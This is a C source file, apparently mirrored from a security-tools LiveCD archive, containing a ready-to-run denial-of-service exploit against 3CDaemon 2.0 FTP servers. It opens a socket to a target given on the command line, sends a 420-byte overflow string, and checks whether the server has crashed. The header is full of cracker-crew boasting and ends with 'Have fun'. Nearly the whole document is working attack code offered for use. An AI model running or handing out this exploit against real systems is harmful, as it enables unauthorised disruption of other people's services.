home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / 3cdaemon / msh3comdos.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  117 lines

  1. /* MaD SKiLL 'H'
  2. * MsH 4 life! http://www.madskill.tk
  3. * *Private Release*
  4. *
  5. * 3CDaemon 2.0 revision 10 DoS
  6. *
  7. * 11:12 14-4-2002: BOF flaw found by skyrim
  8. *  1:00 15-4-2002: exploit done.
  9. * 23:31 16-4-2002: Edited the exploit slightly, it's a better code now
  10. *
  11. * This program will exploit the buffer overflow vulnerability of
  12. * 3CDaemon 2.0 FTP servers. Sending 400+ chars will make the server crash
  13. * at any time they're send.
  14. *
  15. * Tested on:
  16. * [OS]                                    [version]
  17. *  Windows XP (5.1 - 2600)                 3CDaemon 2.0 revision 10
  18. *
  19. *  ###
  20. * #####      ####                            ##
  21. * ######    ######                         ######
  22. * ######   ########   ########            ########      ######
  23. * ######  ####### ### ###########          ########     #######
  24. * ###### ######## #### ############        ########     #######
  25. * ############### ##### ############        #######     #######
  26. * ############## ######  ############       #######     #######
  27. * ############## #######  ###########        ######    #######
  28. * ############# ########  ### ########       ######  #########
  29. *  ############ ### ####  ### #######        #################
  30. *   ##### ###############  ##########        #################
  31. *    ###  ######### #####  #########         ################
  32. *    #### ######### ##### #########          ################
  33. *     ### ######### #############            ################
  34. *      ## #########  ######                  ######   #######
  35. *          ### ####                          ######   #######
  36. *                                            ######  ########
  37. *                                            ######  ########
  38. *    ####   ## ###### ###  ###        ###    ######  ########
  39. *   ####### ########  ###  ####      #####    #####   #######
  40. *   ###############   ###  ####      #####     #####  #######
  41. *   ####### ########       ####      #####       ##     ###
  42. *   ######  ######### #### ####      #####
  43. *    #####   ######## #### ####       ####
  44. *     ###### ######## #### ####   ### ####   ##
  45. *      ########## ### #### #### ########## ######
  46. *       ######### ### ###########################
  47. *      ##########  ######## #####################
  48. *    #############  ######  ########## ##########
  49. *   ########  #####   ####  ###   ###  ###   ###
  50. *
  51. * I don't know if this will work on versions other then the one I tested it 
  52. on.
  53. * Have fun.
  54. *
  55. * Crew shouts go to: MsH, DFA, uDc
  56. * Personal shouts to: mannie, primus, amok, torment, talented, warsteam, 
  57. frodo, maxxo,
  58. * xo|l, fearless, cybje, kell, frodo, maxxo, and everyone else.
  59. *
  60. * skyrim (skyrim@m4dskill.tk)
  61. */
  62. #include <stdio.h>
  63. #include <sys/types.h>
  64. #include <sys/socket.h>
  65. #include <netinet/in.h>
  66. #include <netdb.h>
  67.  
  68. #define BOFSIZE 420
  69.  
  70. char banner(void) { printf("MaD SKiLL 'H' 3CDaemon 2.0 revision 10 
  71. DoS\n.:[MsH]:.\n   ---\n"); }
  72.  
  73. void E(char *msg) { perror(msg); exit(1); }
  74.  
  75. main(int argc, char *argv[])
  76. {
  77.     static char ownage[BOFSIZE];
  78.     int sockfd, sockfd2, n;
  79.  
  80.     struct sockaddr_in server_addr;
  81.     struct hostent *server;
  82.  
  83. if (argc != 3) {
  84.     fprintf(stderr,"Usage: %s hostname/ip port\n", argv[0]);
  85.     exit(1);
  86.    }
  87.     banner();
  88.     memset(ownage, 'A', BOFSIZE);
  89.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  90.     if (sockfd < 0) E("Error occured during opening socket");
  91.     server = gethostbyname(argv[1]);
  92.     if (server == NULL) E("Error occured during host lookup -No such 
  93. host?-\n");
  94.  
  95.     bzero((char *) &server_addr, sizeof(server_addr));
  96.     server_addr.sin_family = AF_INET;
  97.     bcopy((char *)server->h_addr,
  98.          (char *)&server_addr.sin_addr.s_addr,
  99.          server->h_length);
  100.     server_addr.sin_port = htons(atoi(argv[2]));
  101.     printf("Connecting to target FTP server... ");
  102.     if (connect(sockfd,&server_addr,sizeof(server_addr)) < 0) { E("Error 
  103. occured during connecting\n"); }
  104.     printf("Connected, Probing BOF... \n");
  105.     n = write(sockfd,ownage,strlen(ownage));
  106.     if (n < 0) { E("Error occured during writing to socket"); }
  107.     close(sockfd);
  108.     sockfd2=socket(AF_INET, SOCK_STREAM, 0);
  109.     printf("Done, checking if server is dead.. \n");
  110.     sleep(5);
  111.     if (connect(sockfd2,&server_addr,sizeof(server_addr)) < 0) { 
  112. printf("Couldn't establish connection: It seems like it died! =)\n"); 
  113. exit(0); }
  114.     printf("Server is still alive. Perhaps its not vulnerable?\n");
  115.     return 0;
  116. }